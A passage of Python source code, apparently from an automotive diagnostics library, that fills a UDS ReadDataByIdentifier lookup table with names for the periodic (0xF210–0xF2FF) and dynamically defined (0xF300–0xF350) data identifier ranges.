"periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf210] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf211] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf212] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf213] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf214] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf215] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf216] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf217] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf218] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf219] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf21a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf21b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf21c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf21d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf21e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf21f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf220] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf221] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf222] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf223] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf224] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf225] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf226] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf227] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf228] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf229] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf22a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf22b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf22c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf22d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf22e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf22f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf230] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf231] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf232] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf233] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf234] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf235] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf236] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf237] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf238] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf239] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf23a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf23b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf23c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf23d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf23e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf23f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf240] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf241] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf242] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf243] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf244] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf245] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf246] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf247] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf248] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf249] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf24a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf24b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf24c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf24d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf24e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf24f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf250] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf251] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf252] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf253] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf254] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf255] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf256] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf257] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf258] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf259] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf25a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf25b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf25c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf25d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf25e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf25f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf260] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf261] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf262] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf263] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf264] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf265] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf266] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf267] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf268] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf269] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf26a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf26b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf26c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf26d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf26e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf26f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf270] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf271] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf272] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf273] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf274] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf275] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf276] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf277] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf278] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf279] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf27a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf27b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf27c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf27d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf27e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf27f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf280] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf281] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf282] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf283] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf284] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf285] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf286] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf287] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf288] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf289] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf28a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf28b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf28c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf28d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf28e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf28f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf290] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf291] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf292] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf293] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf294] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf295] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf296] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf297] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf298] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf299] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf29a] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf29b] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf29c] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf29d] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf29e] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf29f] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a0] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a1] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a2] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a3] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a4] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a5] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a6] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a7] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a8] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2a9] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2aa] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ab] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ac] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ad] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ae] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2af] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b0] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b1] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b2] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b3] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b4] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b5] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b6] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b7] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b8] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2b9] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ba] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2bb] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2bc] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2bd] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2be] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2bf] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c0] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c1] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c2] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c3] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c4] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c5] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c6] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c7] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c8] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2c9] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ca] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2cb] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2cc] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2cd] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ce] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2cf] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d0] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d1] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d2] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d3] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d4] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d5] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d6] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d7] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d8] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2d9] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2da] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2db] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2dc] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2dd] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2de] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2df] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e0] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e1] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e2] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e3] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e4] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e5] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e6] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e7] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e8] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2e9] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ea] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2eb] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ec] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ed] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ee] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ef] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2f0] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2f1] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2f2] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2f3] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2f4] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2f5] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2f6] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2f7] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2f8] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2f9] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2fa] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2fb] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2fc] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2fd] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2fe] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf2ff] = "periodicDataIdentifier_F200_F2FF" UDS_RDBI.dataIdentifiers[0xf300] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf301] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf302] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf303] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf304] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf305] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf306] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf307] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf308] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf309] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf30a] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf30b] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf30c] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf30d] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf30e] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf30f] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf310] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf311] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf312] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf313] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf314] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf315] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf316] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf317] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf318] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf319] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf31a] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf31b] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf31c] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf31d] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf31e] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf31f] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf320] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf321] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf322] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf323] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf324] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf325] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf326] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf327] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf328] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf329] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf32a] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf32b] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf32c] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf32d] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf32e] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf32f] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf330] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf331] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf332] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf333] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf334] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf335] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf336] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf337] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf338] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf339] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf33a] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf33b] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf33c] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf33d] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf33e] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf33f] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf340] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf341] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf342] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf343] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf344] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf345] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf346] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf347] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf348] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf349] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf34a] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf34b] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf34c] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf34d] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf34e] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf34f] = "dynamicallyDefinedDataIdentifier_F300_F3FF" UDS_RDBI.dataIdentifiers[0xf350] = "dynamicallyDefinedDataIdentifier_F300_F3FF" 